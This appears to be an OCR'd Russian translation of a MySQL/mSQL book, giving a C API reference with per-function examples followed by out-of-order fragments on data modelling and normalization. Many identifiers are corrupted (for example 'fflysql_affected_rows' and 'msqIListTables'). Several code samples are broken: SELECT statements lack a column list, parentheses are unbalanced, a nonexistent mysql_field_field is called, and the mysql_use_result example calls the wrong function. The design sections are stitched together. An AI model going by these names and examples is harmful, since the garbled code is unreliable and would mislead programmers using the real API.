    m_result *msqlListDBs ( int sock )

    Возвращает структуру m_result, содержащую имена всех баз данных, доступных на сервере баз данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    databases = msqlListDBs(dbh);

    /* 'databases' содержит теперь имена всех баз данных на сервере*/

    msqIListTables

    m_result *msqIListTables ( int sock )

    Возвращает структуру m_result, содержащую имена всех таблиц текущей базы данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    tables = msqlListTables(dbh);

    /* 'tables' содержит теперь имена всех таблиц текущей базы данных*/

    msqIListFields

    m_result 'msqIListFields ( int sock , char*tableName )

    Возвращает структуру m_result, содержащую имена всех полей в указанной таблице. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    fields = msqlListFields(dbh, "people");

    /* 'fields' содержит теперь имена всех полей

    в таблице'people' */

    msqIListlndex

    m_result 'msqIListlndex ( int sock , char*tableName , char*index )

    Возвращает структуру m_result, содержащую информацию о заданном индексе. Возвращаемый набор данных будет содержать тип индекса (в настоящее время поддерживается только тип 'avl') и содержащиеся в индексе имена полей. Как и все структуры m_result, значение, возвра щаемое этой функцией, должно быть освобождено с помощью msqlFreеResult после завершения работы с ним.

    Пример

    index = msqll_istIndex(dbh, "people", "idx1");

    /* Теперь'index' содержит информацию об индексе 'idx1' в таблице 'people' */

    MySQL С API

    MySQL С API кроме стандартных типов данных языка С использует некоторые свои типы данных. Они определены в заголовочном файле 'mysql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку MySQL.

    Типы данных

    MYSQL

    Структура, представляющая соединение с сервером баз данных. Элементы структуры среди прочего содержат имя текущей базы данных и информацию о клиентском подключении.

    MYSQL_FIELD

    Структура, которая содержит всю информацию, касающуюся отдельного поля таблицы. Из всех типов, созданных для MySQL, это единственная структура, к полям которой можно получить прямой доступ из клиентских программ. Поэтому необходимо знать строение этой структуры:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей это поле. Для результирующих наборов, которые не представляют реальных таблиц, это значение пустое.

    char *def

    Значение по умолчанию этого поля, если таковое существует. Это значение всегда будет null до вызова mysql_list_f ields, после чего в переменной будет корректное значение для полей, у которых есть значение по умолчанию.

    еnum enum_field_types type

    Тип поля. Он является одним из типов данных MySQL SQL.
    unsigned int length

    Размер поля, основанный на типе поля.
    unsigned int max_length

    После вызова mysql_list_fields здесь находится длина максимального значения, содержащегося в текущем результирующем наборе.

    unsigned int flags

    Ноль или более флагов. В настоящее время определены следующие флаги:

    NOT_NULL_FLAG

    Если установлен, поле не может содержать значение
    NULL. PRI_KEY_FLAG

    Если установлен, поле является первичным ключом.

    UNIQUE_KEY_FLAG

    Если установлен, поле является частью уникального ключа.

    MULTIPLE_KEY_FLAG

    Если установлен, поле является частью ключа.

    BLOB_FLAG

    Если установлен, поле имеет тип BLOB или TEXT.

    UNSIGNED_FLAG

    Если установлен, поле имеет числовой тип и содержит беззнаковое значение.

    ZEROFILL_FLAG

    Если установлен, поле было создано с флагом ZEROFILL.

    BINARY_FLAG


    Если установлен, поле имеет тип CHAR или VARCHAR с флагом BINARY.

    ENUM_FLAG

    Если установлен, поле имеет тип ENUM.

    AUTO_INCREMENT_FLAG

    Если установлен, поле имеет атрибут AUTO_INCREMENT.

    TIMESTAMP_FLAG

    Если установлен, поле имеет тип TIMESTAMP.

    unsigned int decimals

    При использовании с числовым полем выдает длину дробной части.

    Для облегчения использования данных MYSQL_FIELD созданы следующие макросы:

    IS_PRI_KEY( flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле имеет ограничение NOT NULL.

    IS_ELOE(flags)

    Возвращает true, если поле имеет тип BLOB или TEXT.

    IS_NUM(type)

    Возвращает true, если тип поля является числовым.

    MYSQL_FIELD_OFFSET

    Числовой тип, указывающий на позицию "курсора" в строке (записи).

    MYSQL_RES

    Структура, содержащая результат команды SELECT (или SHOW). Доступ к данным из запросов следует осуществлять через элемент этой структуры MYSQL_ROW.

    MYSQL_ROW

    Одна запись из данных, возвращаемых запросом SELECT. Все результаты, полученные от MySQL, хранятся в этом типе (как массив символьных строк).

    my_ulonglong

    Числовой тип, используемый для кодов возврата MySQL. Значение может находиться в диапазоне от 0 до 1.8Е19, и —1 используется для указания на ошибку.

    my sql_affected_ro ws

    my_ulonglong mysql_affected_rows(MYSQL*mysql)

    Возвращает число записей, измененных последним запросом. При использовании с запросом SELECT эта функция идентична mysql_num_rows (вернет число записей в результирующем наборе). С остальными запросами функция может быть использована после вызова mysql_query, которая послала запрос.

    Пример

    /* Вставить запись в таблицу 'people' */

    mysql_query(&mysql, "INSERT INTO people VALUES ('', 'Illyana Rasputin',

    16)";

    num = fflysql_affected_rows(&mysql);

    /* Если операция INSERT удалась, переменная num должна быть равна 1, и -1, если произошла ошибка */

    mysql_close

    void mysql_close(MYSQL*mysql)

    Завершает соединение с сервером баз данных MySQL. Если при разрыве соединения возникли проблемы, сообщение об ошибке можно посмотреть, используя функцию mysql_err.


    Пример

    mysql_close(&mysql);

    /* Теперь подключение должно быть завершено */

    mysql_connect

    MYSQL *mysql_connect(MYSQL*mysql, const char*host, const char*user, const char *passwd)

    Создает подключение к серверу баз данных MySQL. Первым параметром должна быть предварительно объявленная структура MYSQL. Второй параметр - это имя хоста или IP-адрес сервера MySQL. Если хост задан пустой строкой или как localhost, будет выполнено подключение к серверу MySQL на той же машине. Последние два параметра -это используемые для подключения имя пользователя и пароль. Пароль вводится открытым текстом и не шифруется. Функция возвращает структуру MYSQL, переданную первым аргументом, либо NULL, если соединение не было установлено. (Так как структура содержится в аргументе, единственное применение возвращаемого значения - это проверка успешности подключения.)

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL, вместо нее следует пользоваться функцией mysql_real_connect.

    Пример

    /* Создать подключение к локальному серверу MySQL, используя имя "bob" и

    пароль "mypass" */ MYSQL mysql;

    if(!mysql_connect(&mysql, "", "bob", "mypass")) {

    printf("Oшибкa при подключении!\n");

    exit(0); }

    /* Если мы дошли сюда, значит, успешно подключились к серверу баз данных*/

    mysql_create_db

    int mysql_create_db(MYSQL*mysql, const char*db)

    Создает полностью новую базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL CREATE DATABASE. Следует использовать его с помощью функции mysql_query.

    Пример

    /* Создать новую базу данных 'new_database' */

    result = mysql_create_db(&mysql, "new_database");

    mysql_data_seek

    void mysql_data_seek(MYSQL_RES*res, unsigned int offset)

    Передвигает курсор на определенную запись в наборе записей. Первый аргумент является структурой MYSQL_RES, которая содержит записи. Второй аргумент указывает на номер записи, которую вы хотите найти. Номер первой записи - 0. Эта функция работает, только если данные были выбраны с помощью mysql_store_ result.


    Пример

    /* Перейти к последней записи в результате */

    mysql_data_seek(results, mysql_num_rows(results)-1);

    mysql_debug

    mysql_debug(char *debug)

    Управляет отладочными функциями, если при компиляции клиента была разрешена отладка. MySQL использует отладочную библиотеку Fred Fish, которая имеет слишком много параметров и особенностей, чтобы быть описанной в этой книге.

    Пример

    /* Это обычное использование отладочной библиотеки. Информация о деятельности

    клиентских программ записывается в файл "debug.out"*/

    mysql_debug("d:t:0, debug. out");

    mysql_drop_db

    int mysql_drop_clb(MYSQL*mysql, const char*db)

    Уничтожает базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL DROP DATABASE. Его следует использовать через mysql_query вместо функции mysql_drop_db.

    Пример

    /* Уничтожить базу данных 'old_database' */

    result = mysql_drop_db(&mysql, "old_database");

    mysql_dump_debug_info

    int mysql_dump_debug_info(MYSQL*mysql)

    Эта функция заставляет сервер баз данных записывать отладочную информацию о текущем подключении в свои журнальные файлы. Для использования этой функции у вас должно быть право Process для текущего подключения. Функция вернет ноль в случае успешного выполнения операции и ненулевое значение в случае ошибки.

    Пример

    result = mysql_dump_debug_info(&mysql);

    /* Теперь журналы сервера должны содержать информацию о текущем

    подключении */

    mysql_eof

    my_bool mysql_eof(MYSQL_RES* result)

    Возвращает ненулевое значение, если больше нет данных в проверяемом наборе записей. При обнаружении ошибки в результирующем наборе возвращается ноль. Эта функция работает, только если результирующий набор был получен функцией mysql_use_result.

    Пример

    /* Прочитать до конца набор записей */

    while((row = mysql_fetch_row( results.))) {

    /'Обработка 7 }


    if(!mysql_eof(results))

    {

    printf("Ошибка. Конец результата не достигнут.\n");

    mysql_errno

    unsigned int mysql_errno(MYSQL*mysql)

    Возвращает номер последней ошибки, связанной с текущим подключением. Если подключение прошло без ошибок, функция возвращает ноль.

    Пример

    error = mysql_errno(&mysql);

    printf("HoMep последней ошибки: %d\n", error);

    mysql_error

    char *mysql_error(MYSQL*mysql)

    Возвращает сообщение о последней ошибке, связанной с текущим подключением. Если при подключении не было ошибок, функция возвращает пустую строку.

    Пример

    printf("Последняя ошибка была: '%s'\n", mysql_error(&mysql));

    mysq l_esca pe_strin g

    unsigned int mysql_escape_string(char*to, const char "from, unsigned int

    length)

    unsigned int mysql_escape_string(char*to, const char *from)

    Кодирует строку таким образом, что ее можно безопасно вставить в таблицу MySQL. Первый аргумент - это получающая строка, которая должна быть по крайней мере на один символ больше двойной длины исходной строки, задаваемой вторым аргументом (то есть to >= from*2+l). Если есть третий аргумент, он указывает количество байт, копируемое из исходной строки перед кодированием. Функция возвращает число байт в кодированной строке, исключая цустой символ в конце строки.

    Пример

    char name[15] = "Bob Marley's";

    char enc_name[31];

    mysql_escape_string(enc_name, name);

    /* enc_name теперь будет содержать "Bob Marley\'s" (единичная кавычка

    закодирована).

    mysql_fetch_field

    MYSQL_FIELD*mysql_fetch_field(MYSQL_RES* result)

    Возвращает структуру MYSQL_FIELD, описывающую доле заданного результирующего набора. Дальнейшие вызовы этой функции вернут информацию о каждом следующем поле, пока поля не закончатся, и тогда будет возвращено нулевое значение.

    Пример

    MYSQL_FIELD*field;

    while((field = mysql_fetch_field(results)))

    {

    /* Здесь вы можете проверить информацию о поле */

    }

    mysql_fetch_field_direct

    MYSQL_FIELD * mysql_fetch_field_direct(MYSOL_RES * result, unsigned int fieldnr)


    Эта функция идентична mysql_fetch_field за исключением того, что вместо цикла по полям вы указываете, какое поле проверить. Номер первого поля в наборе - 0.

    Пример

    MYSQL_FIELD *field;

    /* Получить информацию о третьем поле в наборе записей */

    field = mysql_fetch_field_direct(results, 2);

    mysql_fetch_fields

    MYSQL_FIELD *mysql_fetch_fields(MYSQL_RES* result)

    Функция идентична mysql_fetch_field за исключением того, что она возвращает массив структур MYSQL_FIELD, содержащих информацию о каждом поле в результирующем наборе.

    Пример

    MYSQL_FIELD 'field; MYSQL_FIELD 'fields;

    /* Получить всю информацию о полях в наборе записей */

    fields = mysql_fetch_fields(results);

    /* Приписать третье поле переменной 'field' */

    field = fields[2];

    mysql_fetch_lengths

    unsigned long *mysql_fetch_lengths(MYSQL_RES*result)

    Возвращает массив длин каждого поля в текущей записи. В случае ошибки функция возвращает нулевое значение. Вы должны выбрать хотя бы одну запись (используя mysql_fetch_row) перед вызовом этой функции. Эта функция является единственным способом выяснить длину полей переменной длины, таких как BLOB и VARCHAR, перед использованием данных.

    Пример

    unsigned long *lengths;

    row = mysql_fetch_row(results);

    lengths = mysql_fetch_lengths(results);

    printf("Tpetbe поле имеет длину %d байт\n", lengths[2]);

    mysql_fetch_row

    MYSQL_ROW mysql_fetch_row(MYSQL_RESresult)

    Выбирает следующую запись в наборе и возвращает ее как структуру MYSQL__ROW. Если записей больше нет или в случае ошибки, возвращается нулевое значение. В текущей реализации структура MY.SQI _ROW - это массив символьных строк, который может представлять любые данные.

    Пример

    MYSQL_ROW row;

    row = mysql_fetch_row(results);

    printf("Данные в третьем поле этой записи: %s\n", row[2]);

    mysql_field_seek

    MYSQL_FIELD_OFFSET mysql_field_seek(MYSQL_RES *result, MYSQL_FIELD_OFFSET offset)

    Ищет указанное поле в текущей записи результирующего набора. Позиция, установленная этой функцией, используется при вызове mysql_fetch_field. Переданное значение MYSQL_FIELD_OFFSET должно быть значением, возвращаемым функцией mysql_field_tell (или другим вызовом mysql_f ield_seek). Если это значение равно 0, поиск будет осуществляться с начала записи. Функция возвращает позицию курсора перед вызовом функции.


    Пример

    MYSQL_FIELD field;

    /* Перейти к началу записи */

    old_pos = mysql_field_seek(results, 0);

    /* Выбрать первое поле записи */

    field = mysql_field_field(results);

    /* Вернуться к исходному состоянию */

    mysql_field_seek(results, old_pos);

    mysql_field_tell

    MYSQL_FIELD_OFFSET mysql_field_tell(MYSQL_RESresult)

    Возвращает значение текущей позиции поля в текущей записи результирующего набора. Это значение используется с mysql_f ield_seek.

    Пример

    MYSQL_FIELD fieldl, field2, fieldS;

    /* Запомнить текущую позицию */

    old_pos = mysql_field_tell(results);

    /* Выбрать еще три поля */

    field1 = mysqLfield_field(results);

    field2 = mysql_field_field(results);

    field3 = mysql_field_field(results);

    /* Вернуться к исходной позиции */

    mysql_field_seek(results, old_pos);

    mysql_free_result

    void mysql_free_result(MYSQL_RESresult)

    Освобождает память, связанную со структурой MYSQL_RES. Эту операцию следует всегда выполнять при завершении использования структуры этого типа или при других проблемах с памятью.

    Пример

    MYSQL_RES "results;

    /* Выполнить операции с результатами */

    mysql_free_result(results);

    mysql_get_client_info

    char *mysql_get_client_info(void)

    Возвращает строку с версией библиотеки MySQL, используемой клиентской программой.

    Пример

    printf("Этa программа использует клиентскую библиотеку MySQL версии %s\n",

    mysql_get_client_info()));

    mysql_get_host_jnfo

    char *mysql_get_host_info(MYSQL*mysql)

    Возвращает строку, содержащую имя хоста сервера баз данных MySQL и тип используемого подключения (например, Unix-сокет или TGP).

    Пример

    print("Информация о подключении: %s", mysql_get_host_info(&mysql));

    mysq l_get_proto_i nf о

    unsigned int mysql_get_proto_info(MYSQtmysql)

    Возвращает в виде целого числа версию протокола MySQL, используемого в текущем подключении.

    Пример

    printf("Этo подключение использует протокол соединений MySQL версии %d\n",

    mysql_get_proto_info());

    mysql_get_server_info


    char *mysql_get_server_info(MYSQL*mysql)

    Возвращает строку, содержащую номер версии сервера баз данных MySQL, используемого в текущем подключении.

    Пример

    printf("Bы подключены к серверу MySQL версии %s\n", mysql_get__server_info(&mysql);

    mysqljnfo

    char *mysql_info(MYSQL*mysql)

    Возвращает строку, содержащую информацию о последнем запросе, если этот запрос был одним из указанных ниже. В настоящее время дополнительную информацию через эту функцию выдают следующие SQL-запросы: INSERT INTO (при использовании с оператором SELECT); LOAD DATA INFILE; ALTER TABLE; INSERT INTO TABLE (при использовании с множеством записей). Если последний запрос не имел дополнительной информации (например, это был один из других запросов), функция возвращает нулевое значение.

    Пример

    /* Только что был послан запрос LOAD DATA INFILE, загрузивший набор записей из файла

    в существующую таблицу */ printf("Результат загрузки данных: %s\n", mysql_info(&mysql));

    mysql_init

    MYSQL *mysql_init(MYSQL*mysql)

    Инициализирует структуру MYSQL, используемую для создания подключения к серверу баз данных MySQL. Наряду с mysql_real_connect, это является способом инициализации подключения к серверу. Вы передаете этой функции объявленную структуру MYSQL либо пустой указатель, в случае чего структура MYSQL будет создана и возвращена. Созданные этой функцией структуры корректно освобождаются функцией mysql_close. Если для инициализации структуры не хватило памяти, возвращается нулевое значение.

    Пример

    MYSQL mysql;

    if (!mysql_init(&mysql)) {

    printf("Ошибка инициализации клиента MySQL\n");

    exit(1); }

    mysqljnsertjd

    my_ulonglong mysql_insert_id(MYSQL*mysql)

    Вернет последнее число, сгенерированное для поля AUTO_INCREMENT. Данная функция обычно используется сразу после ввода значения в поле AUTO_INCREMENT, чтобы выяснить значение, которое было введено.

    Пример

    /* Мы только что ввели запись о сотруднике с автоматически генерируемым ID в

    таблицу */


    id = mysql_insert_id(&mysql);

    printf(''Новый сотрудник получил ID %d\n", id);

    mysql_kill

    int mysql_kill(MYSQL*mysql, unsigned long pid)

    Пытается завершить поток сервера MySQL с указанным ID процесса (PID). Эта функция возвращает ноль в случае успешного выполнения операции и ненулевое значение в случае неудачи. Чтобы воспользоваться этой функцией, вы должны иметь право Process для текущего подключения.

    Пример

    /* Завершить поток с номером 4 */

    result = mysql_kill(&mysql, 4);

    mysql_list_dbs

    MYSQL_RES*mysql_list_dbs(MYSQL*mysql, const char*wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих баз данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будут возвращены имена всех баз данных. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES databases;

    databases = mysql_list_dbs(&mysql, (char*)MULL);

    /* 'databases' теперь содержит имена всех баз данных на сервере MySQL */

    mysql_list_fields

    MYSQL_RES *mysql_list_fields(MYSQL*mysql, const char*table, const char *wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих полей в указанной таблице, которые удовлетворяют выражению, переданному третьим аргументом. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будет возвращен список имен всех полей. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_free_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES fields;

    fields = mysql_list_fields(&mysql, "people", "address%");

    /* 'fields' теперь содержит имена всех полей в таблице 'people', начинающихся с 'address' */

    mysql_list_processes


    MYSQL_RES*mysql_list_processes(MYSQL*mysql)

    Возвращает структуру MYSQL_RES, содержащую информацию о всех текущих потоках, запущенных на сервере баз данных MySQL. Эта информация может быть использована с mysql_kill для завершения потоков, вызывающих ошибки. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES threads;

    threads = mysql_list_processes(&mysql);

    mysql_list_tables

    MYSQL_RES*mysql_list_tables(MYSQL*mysql, const char*wild)

    Возвращает-структуру MYSQL_RES, содержащую имена всех существующих таблиц в текущей базе данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель вместо выражения, будет возвращен список имен всех таблиц. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES tables;

    tables = mysql_list_tables(&mysql, "p%");

    /* 'tables' теперь содержит имена всех таблиц в текущей базе данных, начинающиеся с 'р' */

    mysql_num_fields

    unsigned int mysql_num_fields(MYSQL_RESresult)

    Возвращает число полей, содержащееся в каждой записи указанного результирующего набора.

    Пример

    num_fields = mysql_num_fields(results);

    printf("There are %d fields in each row\n", num_fields);

    mysql_num_rows

    int mysqi_num_rows(MYSQL_RESresult)

    Эта функция вернет количество записей в возвращаемом наборе записей. Работает корректно, только если набор был получен функцией mysql_store_result. Если была использована функция mysql_use_result, значением, возвращаемым функцией mysql_num_rows, будет количество записей, к которым уже был осуществлен доступ.

    Пример

    num_rows = mysql_num_rows(results);

    printf("Было возвращено %d записей \n", num_rows);


    mysql_ping

    int mysql_ping(MYSQL*mysql)

    Проверяет статус подключения к серверу MySQL. Если подключение не активно, клиент попытается автоматически восстановить его. Эта функция возвращает ноль, если подключение активно, и ненулевое значение в случае ошибки.

    Пример

    while(mysql_ping(&mysql))

    printf("Ошибка, попытка повторного подключения...\n");

    mysql_query

    int mysql_query(MYSQL*mysql, const char"query)

    Выполняет SQL-запрос, заданный вторым аргументом. Если запрос содержит любые двоичные данные (особенно пустой символ (null)), эту функцию использовать невозможно, и следует пользоваться функцией mysql_real_query. Функция возвращает ноль, если запрос был выполнен успешно, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_query(&mysql, "SELECT FROM people WHERE name like

    'Bill%'");

    if (error) {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_real_connect

    MYSQL *mysql_real_connect(MYSQL*mysql, const char*host, const char *user,

    const char *passwd, const char*db, uint port, const char*unix_socket, uint client_flag)

    Создает соединение с сервером баз данных MySQL. У этой функции есть восемь аргументов:

  • Инициализированная структура MYSQL, созданная с помощью mysql_init.

  • Имя хоста или IP-адрес сервера баз данных MySQL (для локального подключения к серверу MySQL через сокет Unix можно использовать пустую строку или localhost).

  • Имя пользователя, используемое при подключении к серверу баз данных (пустой строкой можно указать на использование логина пользователя, запустившего клиента).

  • Пароль, используемый для идентификации указанного пользователя. Если используется пустая строка, будет производиться аутентификация только пользователей без пароля.

  • Начальная база данных, используемая при подключении (чтобы не выбирать при подключении начальную базу данных, можно передать пустую строку).

  • Порт, используемый для удаленного подключения к серверу баз данных MySQL по протоколу TCP (чтобы принять порт по умолчанию, можно передать 0).


  • Имя сокета Unix для подключения к серверу на локальном компьютере (чтобы принять сокет по умолчанию, можно использовать пустую строку).

  • Ноль или более из набора флагов, используемых при особых обстоятельствах:

    CLIENT_FOUND_ROWS

    При использовании запросов, изменяющих данные, возвращать не число измененных записей, а число записей, найденных в таблице.

    CLIENT_NO_SCHEMA

    Запретить клиенту использование полной формы указания на столбец базы данных database, table.column , чтобы скрыть структуру базы данных.

    CLIENT_COMPRESS

    Использовать сжатие при соединении с сервером.

    CLIENT_ODBC

    Указать серверу, что клиент является подключением ODBC.

    Пример

    /* Подключиться к серверу на локальном хосте, используя стандартные

    параметры. */

    if (! mysql_real_connect(&mysql, "localhost", "bob", "mypass", "", 0, 0))

    {

    print "Ошибка подключения!\n";

    exit(1); }

    mysql_real_query

    int mysql_real_query(MYSQL*mysql, const char*query, unsigned int length)

    Выполняет SQL-запрос, заданный вторым аргументом. В третьем аргументе должна быть указана длина запроса. Указав длину, вы можете использовать в запросе двоичные данные, включая пустые (null) символы. Эта функция действует быстрее, чем mysql_query. Функция возвращает ноль, если запрос был успешно выполнен, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_real_query(&ntysql, "SELECT FROM people WHERE name like Bill%'",

    44);

    if (error)

    {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_reload

    int mysql_reload(MYSQL*mysql)

    Перегружает таблицу привилегий на сервере баз данных MySQL. Для использования этой функции вы должны иметь право Reload для текущего подключения. Функция возвращает ноль, если операцию удалось выполнить, иначе возвращается ненулевое значение.

    Пример

    result = mysql_reload(&mysql);

    mysql_row_tell

    unsigned int mysql_row_tell(MYSQL_RESresult)

    Возвращает значение курсора, используемого функцией mysql_fetch_row при чтении записей из результирующего набора. Возвращаемое этой функцией значение может быть использовано с mysql_row_seek для перехода к определенной записи в наборе.


    Пример

    saved_pos = mysql_row_tell(results);

    /* Теперь в любой момент я могу вернуться к этой записи */

    mysql_select_db

    int mysql_select_db(MYSQL*mysql, const char*db)

    Изменяет текущую базу данных. Пользователь должен иметь права доступа к новой базе данных. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_select_db(&mysql, "newdb");

    mysql_shutdown

    int mysql_shutdown(MYSQL*mysql)

    Выключает сервер баз данных MySQL. Для использования этой функции пользователь должен иметь право Shutdown для текущего подключения. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_shutdown(&mysql);

    mysql_stat

    char *mysql_stat(MYSQL*mysql)

    Возвращает информацию о текущем статусе сервера баз данных. Среди прочей информации содержатся данные о времени работы, количестве запущенных потоков и количестве обрабатываемых запросов.

    Пример

    printf("Информация о сервере \n-------\n%s\n", mysql_stat(&mysql));

    mysql_store_result

    MYSQL_RES *mysql_store_result(MYSQL*mysql)

    Читает весь результат запроса и сохраняет его в структуре MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться либо эта функция, либо mysql_use_result. Вы должны вызвать mysql_f ree_result для освобождения структуры MYSQL_RES после завершения работы с ней. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь содержит всю информацию из таблицы'people*/

    mysql_thread_id

    unsigned long mysql_thread_id(MYSQL* mysql)

    Возвращает ID потока текущего подключения. Это значение может использовать mysql_kill для завершения подключения в случае ошибки.

    Пример

    thread_ld = mysql_thread_id(&mysql);

    mysql_use_result

    MYSQL_RES*mysql_use_result(MYSQL*mysql)


    Читает результат запроса построчно и позволяет получить доступ к данным через структуру MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться или эта функция, или mysql_store_result. Так как эта функция не читает весь набор данных за один раз, она более быстрая, чем mysql_store_result, и более эффективно использует память. Однако при использовании этой функции вы должны прочесть все записи из набора данных, иначе следующий запрос получит оставшиеся данные. Также вы не сможете выполнять другие запросы до окончания работы с данными из этого запроса. После завершения работы с ними следует вызвать mysql_f ree_result для освобождения структуры MYSQL_RES. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь позволяет получить доступ к данным таблицы (используя mysql_fetch_row), по одной записи за раз*/



    Проектирование баз данных

    После установки на компьютере СУБД у вас может возникнуть сильный соблазн сразу начать создание базы данных, не задумываясь о планировании. Как и в других случаях разработки программного обеспечения, такой подход оправдан лишь при решении простейших задач. Если вы рассчитываете, что ваша база данных должна будет поддерживать хоть какую-то степень сложности, немного планирования и проектирования, в конечном итоге, несомненно сбережет ваше время.



    Методология логического моделирования данных

    Теперь у нас есть завершенная логическая модель данных. Вспомним, какие шаги нужно осуществить, чтобы получить ее:

  • Выявить и смоделировать сущности.

  • Выявить и смоделировать связи между сущностями.

  • Выявить и смоделировать атрибуты.

  • Указать уникальный идентификатор для каждой сущности.

  • Провести нормализацию.

    На практике процесс редко происходит в такой последовательности. Как показывает наш пример, часто возникают желание и необходимость перескакивать между сущностями, связями, атрибутами и идентификаторами. Важно не столько строго следовать последовательности шагов, сколько выявить и зафиксировать все данные, необходимые для правильного моделирования системы.

    Модель данных, которую мы создали в этой главе, очень проста. Мы рассказали, как создать модель, соответствующую по типу и сложности тем базам данных, с которыми вы, скорее всего, столкнетесь, разрабатывая базы данных для MySQL или mSQL. Мы не коснулись целой массы приемов проектирования и понятий, которые не имеют большого значения при проектировании маленьких баз данных и могут быть найдены в любом учебнике, посвященном проектированию баз данных.



    Нормализация

    Е. Ф. Кодд (Е. F. Codd), занимавшийся исследовательской работой в IBM, впервые представил концепцию нормализации в нескольких важных статьях, написанных в 1970-е годы. Задача нормализации остается той же самой и сегодня: устранить из базы данных некоторые нежелательные характеристики. В частности ставится задача устранить некоторые виды избыточности данных и благодаря этому избежать аномалий при изменении данных. Аномалии изменения данных - это сложности при операциях вставки, изменения и удаления данных, возникающие из-за структуры базы данных. Дополнительным результатом нормализации является конструкция, хорошо соответствующая реальному миру. Поэтому в результате нормализации модель данных становится более ясной.

    Например, предположим, что мы ошиблись при вводе "Herbie Hancock" в нашу базу данных и хотим исправить ошибку. Нам потребовалось бы рассмотреть все диски этого исполнителя и исправить имя. Если изменения производятся с помощью приложения, позволяющего одновременно редактировать только одну запись, нам придется редактировать много строк. Было бы гораздо лучше запомнить имя "Herbie Hancock" лишь один раз и редактировать его в одном месте.

    Первая нормальная форма (1NF)

    Общее понятие нормализации подразделяется на несколько "нормальных форм". Говорят, что сущность находится в первой нормальной форме, когда все ее атрибуты имеют единственное значение. Чтобы признать сущность находящейся в первой нормальной форме, нужно удостовериться в том, что каждый атрибут сущности имеет единственное значение для каждого экземпляра сущности. Если в каком-либо атрибуте есть повторяющиеся значения, сущность не находится в 1NF.

    Вернувшись к нашей базе данных, мы обнаруживаем, что повторяющиеся значения есть в атрибуте Song (песня), поэтому очевидно, что база не находится в 1NF. Сущность с повторяющимися значениями указывает на то, что мы упустили еще по крайней мере одну сущность. Обнаружить другие сущности можно, взглянув на каждый атрибут и задавшись вопросом "что описывает эта вещь?"


    Что описывает атрибут Song? Он перечисляет все песни на CD. Поэтому Song - это еще один объект, о котором мы собираем данные, и, возможно, он является сущностью. Мы добавим его в свою диаграмму и придадим атрибут Song Name (название песни). Чтобы покончить с сущностью Song, спросим себя, чем еще мы хотели бы ее охарактеризовать. Мы отметили ранее, что длительность песни мы также хотели бы сохранить. Новая модель данных показана на рис. 2-3.

    Нормализация

    Рис. 2-3. Модель данных с сущностями CD и Song

    Теперь, когда Song Name и Song Length являются атрибутами сущности Song, мы имеем модель данных с двумя сущностями в 1NF. К сожалению, мы не указали никакого способа связать вместе CD и Song.

    Уникальный идентификатор

    Прежде чем обсуждать связи, мы должны применить к сущностям еще одно правило. У каждой сущности должен быть однозначный идентификатор, который мы будем называть ID. ID есть атрибут сущности, к которому применимы следующие правила:

  • Он уникален для каждого экземпляра сущности.

  • Для каждого экземпляра сущности он имеет значение, отличное от NULL в течение всего срока существования экземпляра.

  • В течение всего времени существования экземпляра его значение не меняется.

    ID очень важен, поскольку позволяет узнать, с каким из экземпляров сущности мы имеем дело. Выбор идентификатора также существенен, потому что он используется для моделирования связей. Если после выбора ID для сущности вы обнаружили, что он не удовлетворяет одному из перечисленных правил, это может повлиять на всю вашу модель данных.

